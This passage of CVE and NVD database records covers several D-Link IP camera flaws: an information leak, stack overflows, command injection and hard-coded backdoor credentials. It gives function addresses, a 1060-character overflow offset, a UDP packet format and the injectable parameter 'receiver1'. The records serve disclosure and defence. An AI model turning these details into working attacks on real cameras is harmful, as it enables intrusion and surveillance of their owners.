"value": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-01-28T20:50:37",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.securityfocus.com/bid/59570"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://vuldb.com/?id.8573"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2013-1601",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "http://www.securityfocus.com/bid/59570",
"refsource": "MISC",
"url": "http://www.securityfocus.com/bid/59570"
},
{
"name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939",
"refsource": "MISC",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
},
{
"name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
"refsource": "MISC",
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"name": "https://packetstormsecurity.com/files/cve/CVE-2013-1601",
"refsource": "MISC",
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
},
{
"name": "https://vuldb.com/?id.8573",
"refsource": "MISC",
"url": "https://vuldb.com/?id.8573"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2013-1601",
"datePublished": "2020-01-28T20:50:37",
"dateReserved": "2013-02-04T00:00:00",
"dateUpdated": "2024-08-06T15:04:49.526Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8412
Vulnerability from cvelistv5
Published
2019-07-02 20:08
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.191Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T20:08:54",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8412",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8412",
"datePublished": "2019-07-02T20:08:17",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.191Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8416
Vulnerability from cvelistv5
Published
2019-07-02 20:26
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called "dldps2121" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in "main" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.019Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T20:26:43",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8416",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8416",
"datePublished": "2019-07-02T20:26:13",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.019Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
Vulnerability from fkie_nvd
Published
2019-07-02 19:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library "libmailutils.so" is the one that has the vulnerable function "sub_1FC4" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter "receiver1" is extracted in function "sub_15AC" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in "cgibox" binary at address 0x0008F598 which calls the "mailLoginTest" function in "libmailutils.so" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x0008F598 which calls the \"mailLoginTest\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1130 de D-Link. El dispositivo provee al usuario la capacidad de configurar una carpeta SMB para los recortes de video grabados por el dispositivo. Al parecer los par\u00e1metros POST pasados ??en esta petici\u00f3n (para probar si las credenciales de correo electr\u00f3nico y el nombre de host enviados al dispositivo funcionan apropiadamente) dan como resultado que sean pasadas como comandos a una API de \"system\" en la funci\u00f3n y, por lo tanto, resulten en una inyecci\u00f3n de comandos en el dispositivo. Si la versi\u00f3n del firmware se disecciona con la herramienta binwalk, obtenemos un archivo cramfs-root que contiene el sistema de archivos configurado en el dispositivo que comprende todos los archivos binarios. La biblioteca \"libmailutils.so\" es la que tiene la funci\u00f3n vulnerable \"sub_1FC4\" que recibe los valores enviados por la petici\u00f3n POST. Si abrimos este binario en IDA-pro, notaremos que este sigue un formato ARM en little endian. La funci\u00f3n sub_1FC4 en IDA pro est\u00e1 identificada para recibir los valores enviados en la petici\u00f3n POST y el valor establecido en el par\u00e1metro POST \"receiver1\" se extrae en la funci\u00f3n \"sub_15AC\" que luego se pasa hacia la llamada API del sistema vulnerable. Se accede a la funci\u00f3n de la biblioteca vulnerable en el binario \"cgibox\" en la direcci\u00f3n 0x0008F598 que llama a la funci\u00f3n \"mailLoginTest\" en el binario \"libmailutils.so\" como se muestra a continuaci\u00f3n, lo que resulta en el par\u00e1metro POST vulnerable siendo pasado hacia la biblioteca, lo que ocasiona el problema de inyecci\u00f3n de comandos ."
}
],
"id": "CVE-2017-8404",
"lastModified": "2024-11-21T03:33:58.043",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T19:15:10.413",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-77"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2020-01-28 22:15
Modified
2024-11-21 01:49
Severity ?
Summary
An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-3411_firmware | 1.02 | |
| dlink | dcs-3411 | - | |
| dlink | dcs-3430_firmware | 1.02 | |
| dlink | dcs-3430 | - | |
| dlink | dcs-5605_firmware | 1.01 | |
| dlink | dcs-5605 | - | |
| dlink | dcs-5635_firmware | 1.01 | |
| dlink | dcs-5635 | - | |
| dlink | dcs-1100l_firmware | 1.04 | |
| dlink | dcs-1100l | - | |
| dlink | dcs-1130l_firmware | 1.04 | |
| dlink | dcs-1130l | - | |
| dlink | dcs-1100_firmware | 1.03 | |
| dlink | dcs-1100_firmware | 1.04 | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | 1.03 | |
| dlink | dcs-1130_firmware | 1.04 | |
| dlink | dcs-1130 | - | |
| dlink | dcs-2102_firmware | 1.05 | |
| dlink | dcs-2102_firmware | 1.06 | |
| dlink | dcs-2102 | - | |
| dlink | dcs-2121_firmware | 1.05 | |
| dlink | dcs-2121_firmware | 1.06 | |
| dlink | dcs-2121 | - | |
| dlink | dcs-3410_firmware | 1.02 | |
| dlink | dcs-3410 | - | |
| dlink | dcs-5230_firmware | 1.02 | |
| dlink | dcs-5230 | - | |
| dlink | dcs-5230l_firmware | 1.02 | |
| dlink | dcs-5230l | - | |
| dlink | dcs-6410_firmware | 1.00 | |
| dlink | dcs-6410 | - | |
| dlink | dcs-7410_firmware | 1.00 | |
| dlink | dcs-7410 | - | |
| dlink | dcs-7510_firmware | 1.00 | |
| dlink | dcs-7510 | - | |
| dlink | wcs-1100_firmware | 1.00 | |
| dlink | wcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
